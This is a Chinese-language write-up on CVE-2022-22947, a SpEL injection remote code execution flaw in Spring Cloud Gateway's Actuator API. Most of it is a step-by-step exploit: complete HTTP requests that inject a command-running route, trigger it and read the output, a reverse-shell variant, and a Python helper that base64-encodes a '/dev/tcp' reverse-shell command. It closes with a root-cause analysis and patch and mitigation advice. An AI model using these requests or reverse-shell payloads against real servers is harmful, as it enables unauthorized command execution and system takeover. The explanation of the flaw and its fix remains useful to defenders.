Spring Cloud Gateway rce

cve-2022-22947

漏洞描述：

Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本（包含）以前存在一处SpEL表达式注入漏洞，当攻击者可以访问Actuator API的情况下，将可以利用该漏洞执行任意命令。

也是codeql发现的

漏洞影响：

• 3.1.0
• 3.0.0至3.0.6
• 3.0.0之前的版本

复现漏洞

首先，发送以下请求以添加包含恶意SpEL 表达式的路由器：

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

• 反弹shell将命令替换为base64命令即可
• Content-Type: application/json

其次，刷新网关路由器。SpEL 表达式将在此步骤中执行：

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

第三，发送以下请求以检索结果：

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

查看所有路由

GET /actuator/gateway/routes HTTP/1.1
Host:  123.58.236.76:40279
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

最后，发送一个 DELETE 请求来删除我们的恶意路由器：

DELETE /actuator/gateway/routes/lyy9 HTTP/1.1
Host: 123.58.236.76:40279
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0
Content-Type: application/json

删除后用记得也用refresh

反弹shell

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.159.132:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 333

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"bash -c {echo,反弹shellbase64}|{base64,-d}|{bash,-i}\").getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

删去new String[]初始化，直接将base64的反弹shell命令放入填入

生成base64那个站点崩了，可以自己写个python

import base64


base64_str = input("请输入反弹shell命令,如：bash -i  >&  /dev/tcp/11.11.11.11/2334 0>&1\n")
res = base64.b64encode(base64_str.encode())
print("bash -c {echo,"+res.decode()+"}|{base64,-d}|{bash,-i}")

漏洞原理

SpEL表达式是可以操作类及其方法的，可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext，而它包含了SpEL的所有功能，在允许用户控制输入的情况下可以成功造成任意命令执行

如果想要深入学习SpEL表达式可以参考Mi1k7ea师傅的文章

https://www.mi1k7ea.com/2020/01/10/SpEL表达式注入漏洞总结/

首先定位到漏洞的修复版本对比

https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e

可以看到删除了默认的StandardEvaluationContext，改用自定义的GatewayEvaluationContext来对表达式进行SpEL进行处理

默认的StandardEvaluationContext里getValue方法

static Object getValue(SpelExpressionParser parser, BeanFactory beanFactory, String entryValue) {
	Object value;
	String rawValue = entryValue;
	if (rawValue != null) {
		rawValue = rawValue.trim();
	}
	if (rawValue != null && rawValue.startsWith("#{") && entryValue.endsWith("}")) {
		// assume it's spel
		StandardEvaluationContext context = new StandardEvaluationContext();
		context.setBeanResolver(new BeanFactoryResolver(beanFactory));
		Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());
		value = expression.getValue(context);
	}
	else {
		value = entryValue;
	}
	return value;
}

可以控制 getValue 方法调用,那么就能调用任何有效的表达式达到注入效果

修复建议

• 3.1.x用户应升级到3.1.1+
• 3.0.x用户应升级到3.0.7+
• 如果不需要Actuator端点，可以通过
  
management.endpoint.gateway.enable：false

  配置将其禁用
• 如果需要Actuator端点，则应使用Spring Security对其进行保护